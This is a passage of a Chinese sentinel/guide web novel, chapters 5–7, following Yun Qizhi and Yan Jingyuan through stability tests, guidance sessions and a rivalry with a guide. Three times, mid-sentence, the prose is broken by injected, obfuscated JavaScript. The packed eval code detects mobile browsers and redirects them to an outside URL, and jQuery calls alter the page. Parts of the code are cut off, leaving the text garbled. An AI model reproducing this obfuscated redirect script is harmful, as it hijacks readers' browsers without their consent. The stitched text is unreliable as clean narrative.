一位身穿制服的工作人员说道：“各位哨兵，即便新版个人终端发行，为了确保塔的绝对安全，每次任务结束后精神稳定检测大概也是必须的，大家并不需要心存幻想。” 哀嚎声一片。 另一位工作人员笑了笑，推了推鼻梁上的镜框，说道：“不过，或许过不久，科研部继续提升，再过不久真的能够实现也说不定。” “哈哈哈，我都不敢想，等终端换新后，我的精神稳定值跌到50以下，滴滴滴的警报声响起，周边的人会怎么看我？” “导航真的很好用，尤其是在塔外。” ………… …… 交谈间退伍前进，终于轮到了宴景鸢。 精神稳定值检测的方式非常简单，坐在椅上，佩戴检测头盔，一根根的检测线根据宴景鸢的情况反馈数据。 检测速度非常快，以秒进行。 大概六秒后，冰冷的电子音发出提示。 【——宴景鸢哨兵，目前您的精神稳定状态为30，请立即接受疏导！】 众人目光齐刷刷看向宴景鸢。 重要的信息提示三遍，冰冷的电子音持续提示了三次。 当第三次响起时，原本还有些喧哗的二楼大厅一片静默。 刷刷刷，几秒不到的时间，包括宴景鸢的队友在内，他们整整齐齐与宴景鸢拉开距离。 唯一一个例外，是云起之。 云起之目光担忧地看向坐在测试椅上的宴景鸢。 宴景鸢面上的表情没有丝毫变化，唇瓣弯起的弧度一如过去，他动作轻缓地将检测头盔拿下，从椅上站起。 工作人员目光谨慎地看向宴景鸢，与此同时，二楼众多哨兵已经做出了战前准备。 哨兵精神稳定数值下降到临界点，稍有不慎就可能进入狂化状态，尤其宴景鸢作为3S级的哨兵，他一旦进入狂化状态，只能说是移动灾害。 和所有与宴景鸢拉开距离的人不一样，云起之不仅没有向后退，反而靠向宴景鸢，他们之间的距离非常近，伸手，握住了宴景鸢的手腕。 云起之的这种行为堪称不知死活。 宴景鸢看向云起之，与他目光对视，微笑说道：“起之，我其实也很意外我现在的状态竟然这么糟糕，”他说，“你现在应该回去。” 云起之：“……” 理论上，他确实应该回去，但是…… 关于这点，可以说是经过云起之验证后的现实。 人鱼向导就是这样的存在。 在云起之看来，这可以称之为是人鱼向导的副作用。 哪怕他们本身不喜欢，他们存在的本身，他们在人群中呼吸的时时刻刻，他们就会接收来自四面八方的负面情绪，并且，本能的进行反馈。 看不见的疏导之力会时时刻刻向外弥散，疏导着身边的人，同时，人鱼向导积累到的就是疲惫。 还有，疼痛。 疏导之力接触污染因子，而这些污染因子又入侵向导的身躯，造成迫害。 哨兵不怕，他们的免疫力足够强，向导却不一样。 这也是云起之最讨厌的副作用之一。 没有任何人喜欢疼痛。 云起之猜测，这就是塔160楼到178楼，都是独属于人鱼向导的空间。 偌大的空间，隔离大量哨兵，净化环境，尽可能为人鱼向导提供理论上的最舒适的环境。 也就是说，现在的云起之即便什么都不做，只要他与宴景鸢在一起，伴随他们贴得越来越近，宴景鸢的状态也会从临界点逐渐进入到平缓的状态。 只是时间的问题。 工作人员看向云起之，说道：“云起之哨兵，建议您听从宴景鸢哨兵的意见，现在请立刻离开。”在说出这句话时，他的目光朝着云起之铭牌上的“C级”字样上看去。 一旦3S级的哨兵进入狂化状态，C级哨兵没有任何自保能力，他们会在第一时间成为牺牲品。 宴景鸢看着云起之，说道：“起之，你听话。” 云起之摇头，他握住宴景鸢手腕的力道加重。 就在宴景鸢还想要说什么时，云起之说道：“景鸢，我相信你，”顿了下，他又说，“临界之下，还有极限，我相信你的自控能力。” 忽然，不远处的入口处一阵哗然。 下位者会本能为上位者让路。 二楼出入口区的众人向两边退，让出一条宽敞的路，而道路中间为首的人是…… 简宛儿向导。 简宛儿，洛斯帝国的最强向导，也是帝国唯一的2S级向导，她和罗素·克拉伦斯同为塔的执政官，共同管理着塔。 如果说，罗素是凭借战功成为塔的最高职权者，那么，简宛儿不一样，当她成为2S级向导的那一刹那，她在塔中的地位就至高无上，她理所当然能够得到所有人的爱戴。 事实上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云起之有些紧张，无论任何人被2S级的向导注视都会紧张，尤其，这位在塔还是至高无上的存在。 简宛儿的目光朝着云起之胸前的胸牌上看了眼，轻声说道：“原来是云副官家的次子。” 云起之慢了宴景鸢一拍，礼貌地向简宛儿问候。 简宛儿笑了笑，又重新将目光放到了宴景鸢的身上，右手伸出，摊开。 宴景鸢将自己的手放到简宛儿摊开的手上。 下一刻，以简宛儿为中心，一股柔和的气场向外弥漫。 无形无色，但能够明确地感觉到，这是一种极端令人舒适的感觉。 是向导的疏导丝。 数之不尽的精神力丝线疏导着众人的精神海。 距离简宛儿最近，尤其是被她直接接触的宴景鸢，他的受益最大，其次就是距离最近的云起之。 云起之的距离与宴景鸢非常近，他是第二位受益者，他能够感觉到属于简宛儿澎湃的疏导之力，这是一股令人沉沦的舒适。 在这一刻，与云起之一样，大家都有相同的想法。 ——这就是2S级的向导。 也是，帝国第一向导。 5. 巫凝莎 快乐的时间总是过得很快。 简宛儿的疏导仅仅持续了三分钟。 她收回手，一双苍老的眸子看着宴景鸢，说道：“宴景鸢哨兵，我和你的契合度并不高，即便我继续为你疏导效果也不大。” 宴景鸢：“不，非常的感谢您，现在是我这一段时间感觉最好的时刻。” 简宛儿提醒：“目前您的精神稳定数值也就勉强及格，我建议您预约疏导，将精神稳定值提升到70以上。” 宴景鸢：“会的，谢谢。” 简宛儿点点头，她的目光朝着云起之看了眼，向隔壁向导体检区走去。 等简宛儿的身影消失，二楼大厅又一次嘈杂了起来。 因为简宛儿带来的一场意外，如宴景鸢，及周围不少哨兵得益，他们将重新进行一次精神稳定值检测。 前一刻，宴景鸢的精神稳定数值还在临界点的30点，而现在，经过简宛儿三分钟的疏导，已经处于52点，刚好是警报数值之外。 惊叹声此起彼伏。 “不愧是简宛儿阁下！” “宴景鸢是3S级的哨兵，也就只有2S级的向导才能够短时间做到这一步。” 在这范围式的疏导之下，宴景鸢在内的许多哨兵是受益者，其中有几位与简宛儿明显契合度比较高的哨兵，他们的精神稳定数值直接达到了80之上。 对他们而言简直就是意外之喜。 工作人员看向宴景鸢，微笑说道：“宴景鸢哨兵，需要现在为您预约疏导吗？” 宴景鸢的目光朝着云起之看去。 一旦开始疏导，以宴景鸢的等级，时间会持续2、3个小时，如此一来，云起之就要一直等待宴景鸢。 但即便这样，该疏导的时候还是要疏导。 就在云起之想要点头时，宴景鸢说道：“预约在明天。” 工作人员眉头微皱，有些迟疑，“宴景鸢哨兵，因为您现在的精神稳定值在52点，只比警戒值高2点，我建议您为了自己，也为了塔中的大家，还是尽早疏导比较好。” 就在宴景鸢打算二次拒绝时，一旁的云起之说道：“就预约在今天，越快越好。” 工作人员用感激的目光对云起之点头，又将目光放到宴景鸢身上。 宴景鸢同意。 工作人员松了一口气。 对他们这些工作人员来说，塔内的诸多哨兵都显得十分难缠，总有一些哨兵不服管教，任性妄为，最后造成的恶果他们也要连带着受罚，“宴景鸢哨兵，您的专属向导为巫凝莎向导，目前刚结束任务回归，从明天开始的三天内属于强制休假期，将由其他向导为您疏导，可以吗？” 宴景鸢：“可以。” 云起之的心情微微放松。 巫凝莎是飞鸢团的副团长，宴景鸢的专属向导，就是那位拥有五条狐狸尾的S级向导。 她是塔七位S级向导之一。 他不喜欢巫凝莎，甚至可以说是厌恶。 工作人员按照流程，迅速为宴景鸢预约疏导，同一时间，宴景鸢收到向导服务中心发来的信息。 信息内是预约疏导的时间、场地，以及将为他服务的向导。 宴景鸢看向云起之，说道：“我们走吧。” 云起之：“好。” 二人并肩走出二楼。 在这嘈杂的环境，一句句的信息钻入他的脑海。 并不是有意窃听，单纯是五感足够强大。 其中有人压低声音说，简宛儿会进入二楼，是因为有预言系的哨兵说，他们塔中已经出现了简宛儿的接班人。 听说，那是一位比简宛儿的等级还要高的向导。 比2S级还要高？ 那是什么等级？3S？也只能是3S吧？ 云起之的脚步顿住。 宴景鸢看向云起之，询问：“怎么了？” 云起之看向宴景鸢。 也就是这时，云起之又从人群中捕捉到有人说的话。 ——“宴景鸢哨兵和云起之哨兵的关系真好。” ——“而且，宴景鸢哨兵真的非常听云起之哨兵的话，你们看到没，刚刚宴景鸢哨兵不想立刻预约疏导，云起之哨兵让他接受疏导，他才同意的。” ——“他们的关系一直都很好，从小一起长大。” ——“不会是在交往吧？” ——“没有吧，就是单纯的关系好而已，不过……” ——“不过，我觉得，如果有一天宴景鸢哨兵有了女朋友，他约会的时候或许也会带上云起之哨兵一起也不一定。” ——“呃，已经有画面感了，就是云起之哨兵有女朋友，约会的时候大概也会带上宴景鸢哨兵一起吧。” ………… …… 云起之看向宴景鸢，摇了摇头，询问：“这次为你疏导的是哪位向导？” 宴景鸢：“是艾莉尔向导。” 云起之：“……哦。” 塔内七大S级向导，艾莉尔·吉布森就是其中之一。 塔中的每一位哨兵都有专属向导，包括C级哨兵的云起之都有专属向导。 根据契合度，每一位向导所负责的哨兵各不相同，就比如云起之的专属向导，是一位C级向导，他负责的哨兵数量超过三位数。 每天堪比牛马。 当然，并不是每一位向导都要负责这么多的哨兵，比如宴景鸢的专属向导巫凝莎。 巫凝莎负责的哨兵仅仅只有七位，是根据契合度进行的匹配，从S到3S级的哨兵都有。 这是塔根据匹配度强制进行的绑定。 为这七位哨兵疏导，以及根据情况随团进入次元境，这是巫凝莎在塔的工作。 除此之外，她作为飞鸢团的副团长，在一定能力范围内，自愿的情况下可以主动为团队的哨兵进行疏导。 此为团队福利。 还有一种情况，就比如一位B级哨兵，他们的专属向导普遍是低一个等级的C级向导，会说C级，是因为塔对向导的最低招收标准是C级。 如果是在外塔，专属向导的等级甚至有可能比哨兵低两个等级。 这部分哨兵想要让更高等级的向导为他们服务，那么，他们可以拿钱。 只要钱给的足够多，就有可能说得动任何一位向导。 金钱交易往往无往不利。 艾莉尔向导的工作室在141楼。 他们乘坐上电梯，先从2楼进入99楼。 1至99层的共用电梯，任何时间电梯内都有不少人，就和过去一样，宴景鸢将云起之护在身后，不让进进出出的人流挤到云起之。 电梯抵达99层，他们换乘电梯。 从99层开始人流明显降低，就是走廊中行走的人都变得少了起来。 云起之询问宴景鸢，为什么他的精神稳定值会降至30点？ 云起之说道：“巫凝莎向导与你的契合度很高，我无法理解，她在的情况下，你的情况为什么还这么糟糕？” 宴景鸢轻抚云起之柔顺的白色长发，说道：“起之，你不要总是对凝莎带有偏见。”直到现在，他仍旧试图缓和云起之和巫凝莎之间的矛盾。 云起之不太高兴，一把拍开了宴景鸢的手。 一次偶然，云起之听到奈哲尔·格莱斯顿哨兵说过的一句话。 他是飞鸢团的副团长，2S级的哨兵，是他和宴景鸢的同学，他们同龄，一起上学，一起成长，他也是宴景鸢最好的朋友之一。 云起之对巫凝莎的厌恶有目共睹，他将他对她的厌恶摆在了明面上。 奈哲尔说，云起之对巫凝莎是一辈子的破防，他羡慕她，嫉妒她，即便他的外表光鲜，但其实就是阴沟里的老鼠。 奈哲尔说，他在想方设法挑拨她和宴景鸢之间的关系。 奈哲尔说，他是极恶，是坏种。 就和云起之厌恶巫凝莎一般，奈哲尔同样厌恶云起之。 宴景鸢夹在中间左右为难。 其实，最开始云起之对巫凝莎并没有偏见。 首先拉开战旗的，是巫凝莎。 巫凝莎是在两年前跟随宴景鸢入塔，听说，她对宴景鸢有救命之恩。 关于这个“救命之恩”，云起之先打上问号，因为他始终觉得两年前对宴景鸢拥有救命之恩的是自己。 在那个时间节点上，巫凝莎入塔，成为塔的第七位S级向导。 那时的云起之已经完成了第二次分化，他在保留哨兵能力的同时，奇妙的分化为了人鱼向导。 他即使哨兵，又是向导。 哨兵、向导同体，给云起之的身体、精神带来了割裂感。 那一段期间，他的精神稳定性极差，时刻进入临界点，他需要向导的疏导。 通过和宴景鸢之间的关系，一般来说，C级哨兵永远也接触不到S级的向导，但是，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029797|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭借这一层关系，云起之拥有这个荣幸。 虽说对“救命恩人”这种说法感到疑惑，但初见，云起之对巫凝莎的印象还算不错。 在他人眼中无比尊贵的S级向导巫凝莎亲自为区区C级哨兵的云起之疏导。 向导为哨兵疏导，他们能够做到一点，控制痛觉。 云起之从八岁觉醒开始，他接触过许许多多的向导，即便契合度比较低，但就是因为他的等级低，每一次的疏导都十分顺利。 但是，巫凝莎不一样。 当时的云起之对巫凝莎没有任何防备，他将自己最为脆弱的精神领域赤裸裸地展现在了巫凝莎的面前。 她为他疏导的那一刹那，云起之感觉到的只有刺入灵魂的疼痛。 这就像是用尖锐的刀子一寸寸割裂灵魂的疼痛。 云起之立刻推开了巫凝莎。 许多人用惊诧的目光看向云起之。 巫凝莎被推得踉跄了一下，被宴景鸢扶住，她看起来很慌张，也显得十分茫然：“抱歉，是我弄疼您了吗？”她又说，“真的很抱歉，我想，或许我们之间的契合度可能不太行。” 确实。 契合度过于糟糕，先不提疏导的效果，过低的契合下向导强行为哨兵进行疏导，确实会让哨兵感到疼痛，但是…… 即便再糟糕的契合度，也不至于如此痛苦。 巫凝莎带给云起之的痛苦实在是太强烈了。 云起之接触过许多的向导，而能够带给他这种痛苦的人只有巫凝莎。 这种尖锐的痛苦足足持续了三天。 三天后，身体的自愈能力起作用，疼痛逐渐减弱，云起之寻找相关资料。 不合常理。 巫凝莎是S级向导，而他是C级哨兵，即便再不契合，在这巨大的等级差距下，巫凝莎随随便便为他进行疏导理论上痛感都不会这么强。 云起之找了许多资料，并没有查询到书面结果。 他不是向导。 许多论坛只针对向导开放，他没有查询权限，不过…… 在专属于哨兵的论坛上，他看到了一些哨兵的讨论。 当一个向导讨厌一个哨兵时，他们可以以着让哨兵最为痛苦的方式为他们疏导。 他们可以在哨兵最为脆弱的精神海种下尖刺，这就像是刺入灵魂一般的痛苦。 这会让哨兵生不如死。 搜寻关键字，云起之查看到了更多的信息。 持续数天的痛苦，让云起之比任何一个人都明白，巫凝莎对他怀有恶意。 不知起源为何的恶意。 与其说云起之厌恶巫凝莎，不如说，这只会是必然。 没有任何人会喜欢伤害自己的人。 关于巫凝莎的事情，云起之最开始就和宴景鸢说过，但每一次，宴景鸢都说这是错觉。 云起之的错觉。 宴景鸢说，他们不契合，再加上当时他的状态不太好，双重影响之下，让他误会这是巫凝莎的疏导对他带来的剧痛。 他误会了巫凝莎。 巫凝莎并没有伤害过他。 宴景鸢说，巫凝莎十八岁才进入塔，她是向导，她和云起之之间没有任何的利益冲突，她不可能故意伤害云起之。 道理是这样，然而，这种情况确实发生了。 在这件事上，宴景鸢并不相信云起之，几次争吵之后，云起之再也没提起这件事。 因为没有任何意义。 与其和宴景鸢讲道理，不如直接和巫凝莎打架。 这又是非常微妙的一点。 在过去，云起之觉得如果和巫凝莎打架，他肯定能打赢身为向导的巫凝莎，但是现在…… 他或许打不赢。 自从觉醒为人鱼向导后，云起之的体质一天比一天弱。 这两年来，随着团队进行任务，糟糕的体质让他感到挫败、羞赧。 他是团队的负担。 改变的身体情况，也是人鱼向导的副作用。 真的很糟糕，他甚至厌恶自己。 但是…… 即便这样，云起之也从来不觉得觉醒为人鱼向导是不好的事情。 因为，如果没有觉醒，宴景鸢早在两年前就会永远的淹没于海洋。 是他救了他。 两年前的事，宴景鸢并不知道。 以前不知道，如果没什么意外，他以后也不会知道。 6. 艾莉儿向导 宴景鸢哄云起之。 从小一起长大，十八岁之前他们几乎没有争吵过，自从巫凝莎出现，他们三不五时就会争吵一番，几乎每一次都是以宴景鸢哄云起之为终结。 会说几乎，是因为在极个别的情况下，云起之会放下自尊认错。 因为宴景鸢真的生气了。 想要维护双方之间的关系，总要有一方退步，这是必然，哪怕他并不认为自己有错。 云起之珍惜宴景鸢。 云起之看向宴景鸢，眼眶有些红，但他不能哭，他任何时刻哭出的泪水都有可能坠泪为珠。 五感强，就是有一点不好。 超强的五感总能让他们捕捉到许许多多的信息，想听的，不想听的，有必要的，没必要的，无论他们想不想，总会从四面八方钻入他们的脑海。 无论是哨兵又或者是向导，他们其实可以建立精神防御屏障，这也是塔中哨兵、向导从小到大的必修课程。 精神防御屏障建立成功，他们能够最大限度的降低五感敏锐度，它就像是一层防护膜，降低外界带来的困扰。 但有些时候，他们会习惯性捕捉信息，这是他们常年养成的习惯。 看着宴景鸢，云起之想到了曾捕捉到的话，那是在嘈杂的环境下，飞鸢团几位哨兵之间的交谈。 飞鸢团绝大多数的成员一起长大，一起上学，因为兴趣相投，他们主动追随宴景鸢，进入他的团队。 每次的任务结束后放松时，总是哨兵精神状态最为松懈的时候。 大家将宴景鸢和云起之的关系看在眼中，其中一部分的兄弟会试探着询问宴景鸢，他和云起之之间的关系。 他对云起之几乎到了纵容的地步，是为什么？ 那位哨兵说：“景鸢说的，他觉得云起之可爱。” “总会有吧，一起长大的滤镜，而且，从外貌来说，云起之哨兵的外貌确实无可挑剔，偌大的塔，也就只有一个云起之。” “每次云起之哨兵和景鸢吵架，都是景鸢先去哄云起之，我当时问过景鸢，他为什么面对云起之哨兵时会这么没有原则，当时景鸢说，因为他很可怜。” “我真不明白，云起之的父亲在塔中的权利仅次于两位执政官，他有什么好可怜的？” “就算不提他那个爸爸，谁不知道，云起之哨兵的亲哥哥，云柏岚哨兵将弟弟当成宝贝，只要云起之哨兵告状，他就会为云起之哨兵出头。” “哦，说起来，那就不仅是云柏岚哨兵，还有那个比云起之哨兵还要小的那个哨兵，叫什么来着？是叫从秋阳吧？他就像是云起之养的一条狗。” “按照这种说法，总感觉景鸢也差不多，他们都很维护云起之。” “景鸢不一样，他说了，他是可怜云起之哨兵，当然，我其实并不太懂，这种可怜源自于哪里。” ………… …… 捕捉到这一段交谈，云起之才知道，每一次与宴景鸢的争执，不辨对错，绝大多数的情况下宴景鸢会愿意无条件的哄自己，其实是因为他怜悯他。 别人或许不懂，但云起之明白。 因为自小不被父母所爱，先是心灵受到影响，之后确诊肌肤饥渴症。 焦虑症。 云起之自己也觉得，他真没出息。 真可悲。 宴景鸢将手搭在云起之的后腰，高大的身躯几乎将云起之的半个身体揽入怀中：“你不要生气，我们暂时不提她。” 云起之目光犀利地看着宴景鸢。 宴景鸢顺毛捋，他乖巧地认错：“对不起，都是我的错，你原谅我。” 就在云起之想要说什么时，电梯停在128层。 门打开。 哦。 真巧。 竟又是罗素·克拉伦斯。 下楼时就与罗素执政官见过一面，没想到上楼时又碰到了。 宴景鸢松开揽住云起之后腰的手，礼貌向罗素执政官问候，一旁的唐秘书微笑看向宴景鸢，恭喜他带着团队完美攻略A级次元境，又在履历上增添了光耀一笔。 唐秘书看着宴景鸢的目光充满了欣赏，她说道：“或许过不久，宴景鸢哨兵就能够独自带领团队攻略S级次元境。” 宴景鸢面上笑容加深，说道：“谢谢，我会努力的。” 即便宴景鸢的个人战力很强，他也不过才二十岁，他所带领的团队等级目前判定为B+级，并不具备攻略S级次元境的资格，只能是以辅助的方式加入其他团队。 那些团队的团长、副团长等级绝大多数不如宴景鸢，但各个都是老油条，拥有充沛的经验，他们的团队整体实力碾压宴景鸢的团队。 云起之想，塔中众多任务中，A级次元境并不会引人关注，但就是这么一件小事唐秘书竟然也都知道。 事实证明，唐秘书知道的要远远比云起之所想象中的还要更多，就比如现在，唐秘书提起不久前简宛儿执政官为特意为宴景鸢疏导的事情。 她仿佛无所不知。 电梯一路上行，在141楼停下。 宴景鸢礼貌向罗素执政官道别，他的手再次搭在了云起之的后腰，动作非常自然，和他一起走出电梯。 直到电梯门关上，云起之才感觉到那一股窥视的目光消失，他并不知道，这是罗素执政官，又或者是唐秘书的视线？ 几乎是本能，云起之回头。 宴景鸢看向云起之，询问：“怎么了？” 云起之：“……是视线。” 顿了下，宴景鸢说道：“不要在意。” 对哨兵、向导来说，感觉到视线，那就是真的有，强大的五感下不可能产生错觉。 云起之点头。 这就是一个小插曲。 接下来云起之将要面对的难题是，是否要和宴景鸢一起进入艾莉儿的工作室。 塔内七大S级向导，不提处于对立面的巫凝莎，云起之觉得最难缠的就是艾莉儿向导。 她太热情了。 艾莉儿向导是塔内出了名的颜控，在诸多场合，她公开表示，她就是喜欢美人，塔谁最好看，那么她就喜欢谁。 塔为S级向导配备有营养师团、哨兵安保团外，还配有两位助理，一位是工作助理，为他们交接每日工作，另一位是生活助理。 是的。 娇气的S级向导就是需要生活助理。 二人抵达艾莉儿的工作室。 工作室分内、外间。 从外间进入内间的出入口守着两位哨兵，胸前铭牌最后写着S级字样。 外间的办公区有一位年轻女子，是艾莉儿的工作助理，头发干净利落的盘起，面容甜美，制服一丝不苟，胸前铭牌后面并没有等级，代表着她是普通人。 助理秘书等职务，塔内聘请的并不一定是哨兵又或者是向导，也可能是普通人。 蓝助理站起身，指了指沙发，说道：“宴景鸢哨兵、云起之哨兵，两位请坐，还要半个小时左右，艾莉儿向导才能能结束工作。” 云起之和宴景鸢一起坐在沙发上等待。 蓝助理询问：“两位，我们这里有咖啡、花茶，还有果汁，请问要什么呢？”她又补充，“果汁有橙汁、葡萄汁、苹果汁。” 宴景鸢说道：“要两杯茶。” 不久后，蓝助理将两杯茶端给二人。 说是需要等待半个小时，但十分钟左右，内间的门就被开启，一位哨兵从中走了出来。 这是一位年龄看起来四十岁以上，眼下拥有浓重黑眼圈，胸牌是2S级，是一位老油条哨兵。 宴景鸢拉着云起之站起身，礼貌向老油条前辈问候。 和云起之不一样，很多时候云起之看到或认识或不认识的人选择无视，对比之下，宴景鸢就显得拥有良好的教养，明明家世显赫，自身天赋极佳，作为天之骄子，自身修养良好，不骄不躁，礼貌谦和，这也是为什么宴景鸢在塔中拥有很高人气的原因。 老油条哨兵对宴景鸢点头，目光瞥了云起之一眼，和蓝助理预约下次进行疏导的时间后离开。 前一位哨兵离开，在里面的人叫唤之前，外面的哨兵并不允许进入，这期间是向导的个人休息时间。 云起之想了想，决定，一会儿宴景鸢进行疏导时，他还是不要跟着他一起进入，他就在外面等待就好。 才这么想，门忽然就被推开。 云起之瞪大眼睛，瞳孔地震。 一头浅金色长发的艾莉儿目光亮晶晶地看向云起之，声音热情：“哦！我的起之哨兵，你竟然来看我了。” 完全不给云起之反应的时间，艾莉儿大跨步向前，就像是一阵风，速度极快，一把握住云起之的双手。 云起之：“……” 这就是很微妙的事情。 类似的事情曾经就发生过。 过去云起之没少陪伴宴景鸢进行疏导。 哨兵实力越强大，他们的精神状态就越是不稳定，过去到现在，云起之总会陪伴宴景鸢疏导，在巫凝莎成为宴景鸢的专属向导之前，艾莉儿向导最常为宴景鸢疏导。 每一次，几乎可以说，艾莉儿将所有的热情都给了云起之，当然，她也就完全无视了宴景鸢。 云起之眼皮跳了跳，他试图将自己的手从艾莉儿的手中抽出来。 哦。 抽不出来。 那是完全抽不出来。 云起之简直没办法想象，自从两年前分化为人鱼向导后，他原本还算不错的体质已经降低到了什么级别？过去是B级，现在…… D级？E级？ 哦。 E级之外，还有F级。 F级的体质又被称之为易碎体，按照一些哨兵的说法，这是活着都艰难的体质。 目前为止，他还不至于觉得活着都辛苦，他还能好好地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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艾莉儿从中抽出最漂亮的一束花，五颜六色，花团锦簇，她抱住花束，试图越过宴景鸢…… 哦。 越不过去。 宴景鸢完美挡住了艾莉儿。 在艾莉儿看来，这就是宴景鸢的不识抬举了。 艾莉儿动作简单粗暴，在宴景鸢猝不及防之间直接推了他一下，迅速冲到云起之面前，强行将手上的花束塞到了云起之的手上。 力量差距下，云起之真是想拒绝都拒绝不了。 再一次，宴景鸢在云起之求助的目光下隔开二人，说道：“艾莉儿向导，虽说……” 终于，艾莉儿肯给宴景鸢一个眼神了。 艾莉儿说道：“哦，宴景鸢哨兵，如果您真的觉得抱歉，那么我认为您可以不要做您认为会对不起我的事情。”她用“你不要妨碍我”的目光看向宴景鸢。 必须要说。 若说没礼貌，那艾莉儿绝对是塔中排序在前列，她也是塔中少有的对宴景鸢这么不客气的人。 宴景鸢：“……”难缠，这是他对艾莉儿向导的认知。 云起之适时开口：“艾莉儿向导，宴景鸢哨兵的精神数值目前接近危险线，如果可以，希望您能尽快为宴景鸢哨兵疏导。” 一改对宴景鸢时的无理，艾莉儿看向云起之，面上的表情恰到好处，表面上看起来谦和有礼，教养良好，她说：“哦，好哦，云起之哨兵，都听您的。” 宴景鸢：“……” 云起之抱着花束坐在沙发上等待。 隔开一张桌，艾莉儿和宴景鸢坐在桌的两方。 宴景鸢将自己的手放在桌上，艾莉儿将手覆盖到宴景鸢的手上，以手指接触的方式为宴景鸢进行疏导。 肌肤接触的面积越多，疏导效果越好。 普遍疏导的方式为握手、额头相抵，以及拥抱。 液体交融效果又比肌肤接触好。 在哨兵的精神稳定值进入到临界点时，为避免意外，向导有概率以唇齿交融的方式为哨兵进行疏导。 最后一种方式，也是公认的效果最佳的疏导方式。 彼此融合。 一般来说，这是只有伴侣之间才会进行的最亲密接触。 因为交融时的疏导效果过好，总有一些哨兵会追寻最有效的方式，塔中时不时会爆出一些哪位哨兵与伴侣为此离婚等等等小道消息。 他们追寻舒适与快感。 据云起之所知，艾莉儿与宴景鸢之间的契合数值是68，比合格线高8点。 等级越高的哨兵，契合的向导就越少。 不仅宴景鸢，塔天赋达到3S级的哨兵在这一点上都差不多。 这对2S、3S级哨兵来说是很可悲的。 一般的哨兵经过疏导，精神状态能够进入绝对稳定值，也就是90之上的数值，而这些超然存在，别说90，甚至很少能够达到80。 这就是强大的实力所带来的副作用。 也就是因此，所有高等级的哨兵会无可自拔地沉迷于人鱼向导。 据记载，人鱼向导能够让所有哨兵的精神状态稳定于百分百。 他们存在的本身，就是一种治愈。 7. 发情期 两个小时。 艾莉儿足足用两个小时的时间为宴景鸢疏导，将他的精神数值从52拉到了68点。 精神值稳定性达到70-80，这属于绝大多数哨兵的平均精神稳定值行列。 艾莉儿收回手，说道：“宴景鸢哨兵，每次为您疏导，我都觉得特别累。” 云起之觉得，这才应该是艾莉儿对宴景鸢拥有偏见的主要原因，因为等级高，所以消耗的时间多，疲惫感增加。 宴景鸢微笑说道：“艾莉儿向导，非常感谢您的疏导。” 艾莉儿目光亮晶晶地看向坐在沙发上捧着花束的云起之，花美，人更美，几乎可以说，云起之的每一个地方都长在了她的审美点上，绝对契合，她说道：“哦，宴景鸢哨兵，如果您真的感谢我，那么我希望您能够留下云起之哨兵，自行离开。”她指了指门的方向。 云起之有些紧张，他衣服下的汗毛完全竖了起来，所以说，艾莉儿向导实在是太可怕了。 宴景鸢的目光朝着云起之看了眼，说道：“哦，说起来，云起之哨兵还有任务总结需要汇报给我们团，那么，我先带着云起之哨兵离开了。” 艾莉儿：“……” 艾莉儿瞪大眼睛的注视下，宴景鸢一只手搭在云起之的后腰，带着他离开工作室。 当那一扇门彻底关上，云起之才彻底松了一口气。 和工作室外间的蓝助理道别。 蓝助理微笑说道：“云起之哨兵，艾莉儿向导有交代过，每次您离开时都要特意提醒您，无论任何时间，你都可以找过来，我们向导十分愿意在您任何繁忙的时刻无偿为您疏导。” 云起之慌乱回应一番，朝着电梯走的步伐速度都加快了。 远离一段距离，宴景鸢看着云起之手上抱着的花束，微笑询问：“既然不喜欢，为什么不拒绝艾莉儿向导？” 云起之懂宴景鸢这句话的意思。 两次的拒绝，第一次是被艾莉儿握住手，第二次是被艾莉儿强行塞下的花束。 宴景鸢和云起之、艾莉儿一同执行过任务，他清楚地知道两者之间的体质等级。 按照书面上的体质，云起之猜测，他应该是能够拒绝艾莉儿的，但是，现实其实很骨感，他没有这个力量，然而，这些他并无法向宴景鸢解释。 云起之的沉默之中，二人一起进入电梯。 见云起之没有回答的意思，宴景鸢也没在问。 宴景鸢的宿舍在146层。 2S级及以上的哨兵配备有独立的宿舍，在这寸土寸金的塔，配备给他们的其实也就是单人间。 大概40平大小，一个很小的厨房，再加上独立的卫浴间。 为了方便云起之，宴景鸢很早就申请了单人宿舍，那之后云起之经常就会去他的宿舍。 宴景鸢为云起之设置了出入权限，很多时候，即便宴景鸢不在，云起之也会时不时去宴景鸢的宿舍。 一住或许就是几天。 宴景鸢看向云起之，询问：“吃过早饭了吗？” 云起之：“没有。” 宴景鸢叹息，他说道：“过去就和你说过，一定要吃早饭。” 云起之不说话。 宴景鸢：“哪怕是哨兵，也都要按时吃饭。” 云起之还是不说话。 没过多久，电梯在146楼停下，同一楼层几乎都是2S、3S级哨兵的专属宿舍，147楼则是S、A级向导的宿舍层。 指纹解锁开门，宴景鸢询问：“想吃什么？” 入口处就是一个小型厨房。 公寓式的单人宿舍，虽小，但应有尽有，走出玄关，双人床前是一组沙发，一个单人沙发，再加上三人座的长沙发。 云起之走到单人沙发上坐下，说道：“随便。” 宴景鸢询问：“蛋炒饭可以吗？” 云起之：“……好的。”再难一些的，宴景鸢就不会做了。 他们平时都是吃食堂。 主要是敏锐的五感下，哨兵、向导其实很讨厌卧室内有油烟的味道。 最开始，宴景鸢的公寓中也没有食材，但，云起之是真的不按时吃饭，等他们反应过来的时候，宴景鸢已经开始在卧室堆积起了食材。 